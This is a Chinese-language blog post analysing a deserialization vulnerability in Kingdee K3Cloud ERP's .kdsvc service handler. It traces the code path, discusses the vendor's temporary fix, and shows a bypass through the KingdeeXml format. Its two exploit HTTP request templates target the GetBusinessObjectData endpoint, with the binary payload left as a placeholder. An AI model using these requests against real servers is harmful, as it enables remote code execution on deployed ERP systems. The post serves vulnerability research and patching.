.NET安全系列| ⾦蝶K3Cloud反序列化分析及利⽤

前⾔

K3 CLOUD是⾦蝶在移动互联⽹时代基于最新技术研发的⼀款战略性ERP产品,该产品于近⽇曝 出反序列化漏洞,攻击者可构造对应的序列化数据包在⽬标部署服务器上执⾏恶意代码,⽬前已有对应的POC,以及⼀些相关的分析资料,本⽂只说明其中⽐较重要的⼏个部分。

漏洞分析

0x01、调试

K3Cloud采⽤ASP.NET开发,由多个Web App组成,安装后可在IIS⻅多个⽹站和虚拟⽬录!

2023-07-14T08:36:26.png

使⽤dnSpy对Web程序进⾏调试,需使⽤管理员权限运⾏,根据Poc所测试的应⽤程序附加到对应 的w3wp进程中

2023-07-14T08:36:42.png

本⽂选择MangeSite(管理后台)为调试⽬标,调试过程中可能会存在局部变量部分被优化的情况,因 为程序都是Release发布的,Release的使⽤VS调试⾃带的程序⼀样代码会被优化,微软官⽅提供了对应 的解决⽅案 https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image- easier-to-debug 需要在dll所在⽬录创建⼀个同名的ini⽂件,内容如下:

[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

然后重启IIS即可。

0x02 Handler处理器

本次反序列化漏洞影响只限于K3Cloud(前台) , ManageSite(后台)两个应用程序。漏洞路径出现在Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc,由kdsvc后缀结尾,根据web.config里的handler配置信息

2023-07-14T08:37:50.png

任何由*.kdsvc结尾的请求路径均会交由KDServiceHandler进⾏处理,不懂.NET可以把它理解成JAVA中 的Servlet,KDServiceHandler在程序bin⽬录下的Kingdee.BOS.ServiceFacade.KDServiceFx.dll中。

2023-07-14T08:38:03.png

使用DnsPy进行反编译后可以看到,KDServiceHandler又根据开头和结尾字符再次将请求交给不同的Handler去处理。Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc路径并不满足上面对应的结尾和开头,因此交给KDSVCHandler进行处理

2023-07-14T08:40:08.png

0x03 format的值

2023-07-14T08:40:33.png

KDSVCHandler中定义了两个⽅法,ProcessRequest和ProcessRequestInternal,根据ASP.NET处理 HTTP请求的优先级会顺序执⾏ProcessRequest > ProcessRequestInternal⽅法.

2023-07-14T08:40:45.png

ProcessRequest中使⽤ RequestExtractor.Create对请求传输的内容进⾏格式化

2023-07-14T08:40:58.png

根据不同的Content-Type传输类型,选择不同的处理类,payload中的是Content-Type: json所以这⾥ 会选择JQueryRequestExtractor类进⾏处理

2023-07-14T08:41:12.png

JQueryRequestExtractor类中再次根据POST和GET选择对应的处理⽅法,GET则选择第⼀个参数的内 容,POST则是以request.InputStream输⼊流进⾏反序列化,POST⽅法处理期间还会根据UserAgent选 择对应的取值⽅式,将所有的键值对存储到nameValueCollection对象中。 后续传递参数内容均会从requestExtractor对象中获取,包括了format

2023-07-14T08:42:04.png

使⽤ExtractForm返回对应的值

2023-07-14T08:42:16.png

这⾥可以看到定义了多个类型,当format为3时会返回Binary,并且此处已经声明“由于安全原因,⼆进 制⽂件将被丢弃。请改⽤⾦蝶Xml格式”。

0x04 序列化代理的选择

期间会根据请求路径加载对应程序集的操作

2023-07-14T08:42:59.png

使⽤ReflectServiceType构建⼀个ServiceType对象,这个对象⾥包含了名称,CLR类型,对应的⽅法, 是否安全,返回类型,版本,和参数等信息。加载完后,会遍历调⽤⼀些定义好的Module类。

2023-07-14T08:43:12.png

顺序遍历调⽤其中的OnProcess,调⽤到第6个,ExecuteServiceModule时,漏洞触发点呈现

2023-07-14T08:43:24.png

在执⾏过程中会创建⼀个serializeProxy序列化代理器,⽽序列化代理器会根据format的值创建对应的序
列化类

2023-07-14T08:43:37.png

这个在上⽂已经说明,此时的format为Binary,会返回⼀个BinaryFormatterProxy类

2023-07-14T08:43:49.png

然后进⼊到Execute⽅法。

0x05 反序列化漏洞的触发

在Execute⽅法中,会根据之前创建的ServiceType对象进⾏⼀些判断

2023-07-14T08:44:13.png

如请求⽅法所需要的参数和传递的参数数量必须要⼀致

2023-07-14T08:44:28.png

以及MapToCLRType类的构造函数需要接收⼀个 Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceContext类型的对象.

2023-07-14T08:44:48.png

随后进⼊DeserializeParameters,也就是漏洞触发点对参数进⾏反序列化

2023-07-14T08:45:03.png

会根据调⽤⽅法所需要的参数数量进⾏单次或者多次循环,并得到对应参数的Type类型传递给代理器的 Deserialize反序列化⽅法。

2023-07-14T08:45:21.png

这⾥⼜做了⼀层限制,当接受参数的类型为string,int,byte,float,double,long,....等等类型时,并不会进⼊ 到代理器的Deserialize⽅法 因此需要找到⼀个这些类型之外的,如Object类型,GetBusinessObjectData刚好满⾜这⼀条件。

2023-07-14T08:45:32.png

最后进⼊到代理器的BinaryFormatterProxy.Deserialize⽅法,导致反序列化漏洞触发。

2023-07-14T08:45:47.png

Question

0x01 参数传递过程中必须要设置成ap0?

根据传递⽅式进⾏设置,具体看ExecuteServiceModule类中的处理

string[] serviceParameters = requestExtractor.GetServiceParameters((from p
in kdservice.MapToMethod.GetParameters()

2023-07-14T08:47:02.png

这⾥的form存储的是上⽂对传递参数进⾏反序列化后的键值对,如果其中包含parameters键,如果存 在,将该参数解析为⼀个JSONArray对象。如果不存在,则根据⽅法所需参数数量,进⾏for循环, 以“ap”为开头,依次便利数字。 当然也可以抛弃json格式的内容传递⽅式,使⽤传统的POST

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO
bjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: firefox
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="2
4"
sec-ch-ua-mobile: ?0
Content-Type: text/json
Content-Length: 5725

ap0=paylod&format=3

paylod需要进⾏⼀次url编码。

0x02 修复⽅案
之前某安全公众号有发布对应的临时修复⽅案

2023-07-14T08:47:51.png

设置EnabledKDSVCBinary为False,因为在创建序列化代理器时,会取值进⾏判断是否开启⼆进制流反 序列化名功能。
2023-07-14T08:48:05.png

0x03 ⼆次绕过

上⾯修复的⼿段并不完全,即使关闭了⼆进制流的⽅式传递参数内容,但是该系统提供了不只Binary⼀ 种⽅式传递参数,如下:

2023-07-14T08:48:25.png

在8.0及以上版本,官⽅提供了多种⽅式,其中KingdeeXml被推荐使⽤,KingdeeXml⽐Binary更安全? 其实不然,KingdeeXml本质还是Bianry。 当format为4时,赋值为KingdeeXml,创建⼀个XmlSerializerProxy代理器

2023-07-14T08:48:43.png

⽽XmlSerializerProxy代理中的Deserialize其中还是⽤的BinaryFormatterProxy,只是中间需要经过⼀层 NetDataContractSerializer反序列化成KingdeeXMLPack对象.

2023-07-14T08:48:58.png

从⽽绕过EnabledKDSVCBinary的设置。
Payload:

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO
bjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="2
4"
sec-ch-ua-mobile: ?0
Content-Type: text/json
Content-Length: 2416

{
 "ap0":
"<KingdeeXMLPack z:Id=\"1\" z:Type=\"Kingdee.BOS.ServiceFacade.KingdeeXMLP
ack\" z:Assembly=\"Kingdee.BOS.ServiceFacade.Common, Version=1.0.0.0, Cult
ure=neutral, PublicKeyToken=null\" xmlns=\"http://schemas.datacontract.or
g/2004/07/Kingdee.BOS.ServiceFacade\" xmlns:i=\"http://www.w3.org/2001/XML
Schema-instance\" xmlns:z=\"http://schemas.microsoft.com/2003/10/Serializa
tion/\"><_x003C_Data_x003E_k__BackingField z:Id=\"2\">{BinaryPaylad}</_x00
3C_Data_x003E_k__BackingField></KingdeeXMLPack>",
 "format": "4"
}

本文链接:

https://www.websecuritys.cn/index.php/archives/667/
1 + 7 =
快来做第一个评论的人吧~